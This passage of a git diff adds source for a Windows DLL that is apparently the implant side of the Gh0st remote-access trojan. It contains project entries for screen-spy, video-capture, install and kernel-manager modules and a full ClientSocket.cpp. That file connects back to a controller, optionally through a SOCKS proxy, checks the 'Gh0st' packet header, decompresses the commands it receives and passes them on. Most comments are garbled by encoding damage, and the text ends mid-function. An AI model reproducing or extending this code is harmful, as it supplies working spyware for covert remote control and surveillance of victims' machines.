||||
<ClCompile Include="common\ScreenSpy.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoCap.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\install.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KernelManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Manager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
11
CcMainDll/CcMainDll/CcMainDll.vcxproj.user
Normal file
11
CcMainDll/CcMainDll/CcMainDll.vcxproj.user
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LocalDebuggerCommand> ..\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand> ..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
533
CcMainDll/CcMainDll/ClientSocket.cpp
Normal file
533
CcMainDll/CcMainDll/ClientSocket.cpp
Normal file
@@ -0,0 +1,533 @@
|
||||
// ClientSocket.cpp: implementation of the CClientSocket class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "ClientSocket.h"
|
||||
#include "../../common/zlib/zlib.h"
|
||||
#include <process.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "common/Manager.h"
|
||||
#include "common/until.h"
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
int CClientSocket::m_nProxyType = PROXY_NONE;
|
||||
char CClientSocket::m_strProxyHost[256] = { 0 };
|
||||
UINT CClientSocket::m_nProxyPort = 1080;
|
||||
char CClientSocket::m_strUserName[256] = { 0 };
|
||||
char CClientSocket::m_strPassWord[256] = { 0 };
|
||||
|
||||
CClientSocket::CClientSocket()
|
||||
{
|
||||
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
m_hEvent = CreateEvent(NULL, true, false, NULL);
|
||||
m_bIsRunning = false;
|
||||
m_Socket = INVALID_SOCKET;
|
||||
// Packet Flag;
|
||||
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
||||
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
||||
}
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CClientSocket::~CClientSocket()
|
||||
{
|
||||
m_bIsRunning = false;
|
||||
WaitForSingleObject(m_hWorkerThread, INFINITE);
|
||||
|
||||
if (m_Socket != INVALID_SOCKET)
|
||||
Disconnect();
|
||||
|
||||
CloseHandle(m_hWorkerThread);
|
||||
CloseHandle(m_hEvent);
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
{
|
||||
// һ<><D2BB>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>һ<EFBFBD>£<EFBFBD><C2A3><EFBFBD>Ȼsocket<65><74><EFBFBD>ľ<EFBFBD>ϵͳ<CFB5><CDB3>Դ
|
||||
Disconnect();
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
ResetEvent(m_hEvent);
|
||||
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
|
||||
return false;
|
||||
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
if (m_Socket == SOCKET_ERROR)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
hostent* pHostent = NULL;
|
||||
if (m_nProxyType != PROXY_NONE)
|
||||
pHostent = gethostbyname(m_strProxyHost);
|
||||
else
|
||||
pHostent = gethostbyname(lpszHost);
|
||||
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ
|
||||
sockaddr_in ClientAddr;
|
||||
ClientAddr.sin_family = AF_INET;
|
||||
if (m_nProxyType != PROXY_NONE)
|
||||
ClientAddr.sin_port = htons(m_nProxyPort);
|
||||
else
|
||||
ClientAddr.sin_port = htons(nPort);
|
||||
|
||||
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
|
||||
|
||||
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
|
||||
return false;
|
||||
// <20><><EFBFBD><EFBFBD>Nagle<6C>㷨<EFBFBD>Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
|
||||
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
|
||||
// const char chOpt = 1;
|
||||
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
|
||||
|
||||
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
|
||||
|
||||
const char chOpt = 1; // True
|
||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
|
||||
{
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
|
||||
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||
WSAIoctl
|
||||
(
|
||||
m_Socket,
|
||||
SIO_KEEPALIVE_VALS,
|
||||
&klive,
|
||||
sizeof(tcp_keepalive),
|
||||
NULL,
|
||||
0,
|
||||
(unsigned long *)&chOpt,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
m_bIsRunning = true;
|
||||
//---<2D><><EFBFBD>ӳɹ<D3B3><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ת<><D7AA>WorkThread
|
||||
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
||||
{
|
||||
struct timeval tvSelect_Time_Out;
|
||||
tvSelect_Time_Out.tv_sec = 3;
|
||||
tvSelect_Time_Out.tv_usec = 0;
|
||||
fd_set fdRead;
|
||||
int nRet = SOCKET_ERROR;
|
||||
|
||||
char buff[600];
|
||||
struct socks5req1 m_proxyreq1;
|
||||
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
|
||||
m_proxyreq1.nMethods = 2;
|
||||
m_proxyreq1.Methods[0] = 0;
|
||||
m_proxyreq1.Methods[1] = 2;
|
||||
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
|
||||
struct socks5ans1 *m_proxyans1;
|
||||
m_proxyans1 = (struct socks5ans1 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
|
||||
{
|
||||
int nUserLen = strlen(m_strUserName);
|
||||
int nPassLen = strlen(m_strPassWord);
|
||||
struct authreq m_authreq;
|
||||
memset(&m_authreq, 0, sizeof(m_authreq));
|
||||
m_authreq.Ver = PROXY_SOCKS_VER5;
|
||||
m_authreq.Ulen = nUserLen;
|
||||
lstrcpy(m_authreq.NamePass, m_strUserName);
|
||||
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
|
||||
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
|
||||
|
||||
int len = 3 + nUserLen + nPassLen;
|
||||
|
||||
send(m_Socket, (char *)&m_authreq, len, 0);
|
||||
|
||||
struct authans *m_authans;
|
||||
m_authans = (struct authans *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_authans->Ver != 5 || m_authans->Status != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
hostent* pHostent = gethostbyname(lpszHost);
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
struct socks5req2 m_proxyreq2;
|
||||
m_proxyreq2.Ver = 5;
|
||||
m_proxyreq2.Cmd = 1;
|
||||
m_proxyreq2.Rsv = 0;
|
||||
m_proxyreq2.Atyp = 1;
|
||||
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
|
||||
m_proxyreq2.Port = ntohs(nPort);
|
||||
|
||||
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
|
||||
struct socks5ans2 *m_proxyans2;
|
||||
m_proxyans2 = (struct socks5ans2 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
|
||||
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CClientSocket *pThis = (CClientSocket *)lparam;
|
||||
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
|
||||
fd_set fdSocket;
|
||||
FD_ZERO(&fdSocket);
|
||||
FD_SET(pThis->m_Socket, &fdSocket);
|
||||
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><D0A3>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
|
||||
{
|
||||
fd_set fdRead = fdSocket;
|
||||
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nRet == SOCKET_ERROR)
|
||||
{
|
||||
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
if (nRet > 0)
|
||||
{
|
||||
memset(buff, 0, sizeof(buff));
|
||||
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nSize <= 0)
|
||||
{
|
||||
pThis->Disconnect();//---<2D><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---<2D><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD> OnRead<61><64><EFBFBD><EFBFBD> ת<><D7AA>OnRead
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
void CClientSocket::run_event_loop()
|
||||
{
|
||||
WaitForSingleObject(m_hEvent, INFINITE);
|
||||
}
|
||||
|
||||
bool CClientSocket::IsRunning()
|
||||
{
|
||||
return m_bIsRunning;
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (dwIoSize == 0)
|
||||
{
|
||||
Disconnect(); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
return;
|
||||
}
|
||||
//---<2D><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD> Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
|
||||
{
|
||||
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
|
||||
return;
|
||||
}
|
||||
// Add the message to out message
|
||||
// Dont forget there could be a partial, 1, 1 or more + partial mesages
|
||||
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
|
||||
|
||||
|
||||
// Check real Data
|
||||
//--- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
|
||||
{
|
||||
BYTE bPacketFlag[FLAG_SIZE];
|
||||
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
|
||||
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
|
||||
throw "bad buffer";
|
||||
|
||||
int nSize = 0;
|
||||
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
|
||||
{
|
||||
int nUnCompressLength = 0;
|
||||
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// Read off header
|
||||
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
|
||||
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
|
||||
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
|
||||
////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////
|
||||
// SO you would process your data here
|
||||
//
|
||||
// I'm just going to post message so we can see the data
|
||||
int nCompressLength = nSize - HDR_SIZE;
|
||||
PBYTE pData = new BYTE[nCompressLength];
|
||||
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
|
||||
|
||||
if (pData == NULL || pDeCompressionData == NULL)
|
||||
throw "bad Allocate";
|
||||
|
||||
m_CompressionBuffer.Read(pData, nCompressLength);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
|
||||
unsigned long destLen = nUnCompressLength;
|
||||
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
if (nRet == Z_OK)//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||
{
|
||||
m_DeCompressionBuffer.ClearBuffer();
|
||||
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
|
||||
//<2F><><EFBFBD><EFBFBD> m_pManager->OnReceive<76><65><EFBFBD><EFBFBD> ת<><D7AA>m_pManager <20><><EFBFBD><EFBFBD>
|
||||
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
|
||||
}
|
||||
else
|
||||
throw "bad buffer";
|
||||
|
||||
delete[] pData;
|
||||
delete[] pDeCompressionData;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
m_CompressionBuffer.ClearBuffer();
|
||||
Send(NULL, 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CClientSocket::Disconnect()
|
||||
{
|
||||
// If we're supposed to abort the connection, set the linger value
|
||||
// on the socket to 0.
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
|
||||
LINGER lingerStruct;
|
||||
lingerStruct.l_onoff = 1;
|
||||
lingerStruct.l_linger = 0;
|
||||
/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
setsockopt(
|
||||
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
|
||||
int option_name, // option_nameָ<65><D6B8><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
|
||||
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
|
||||
<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65>ṹ<EFBFBD><E1B9B9>
|
||||
struct linger {
|
||||
int l_onoff;
|
||||
int l_linger;
|
||||
};
|
||||
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
|
||||
const void *option_value, //LINGER<45>ṹ
|
||||
size_t ption_len //LINGER<45><52>С
|
||||
);
|
||||
*/
|
||||
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
|
||||
|
||||
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CancelIo((HANDLE)m_Socket);
|
||||
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
|
||||
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
||||
closesocket(m_Socket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
|
||||
SetEvent(m_hEvent);
|
||||
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_Socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
|
||||
m_WriteBuffer.ClearBuffer();
|
||||
|
||||
if (nSize > 0)
|
||||
{
|
||||
// Compress data
|
||||
unsigned long destLen = (double)nSize * 1.001 + 12;
|
||||
LPBYTE pDest = new BYTE[destLen];
|
||||
|
||||
if (pDest == NULL)
|
||||
return 0;
|
||||
|
||||
int nRet = compress(pDest, &destLen, lpData, nSize);
|
||||
|
||||
if (nRet != Z_OK)
|
||||
{
|
||||
delete[] pDest;
|
||||
return -1;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
LONG nBufLen = destLen + HDR_SIZE;
|
||||
// 5 bytes packet flag
|
||||
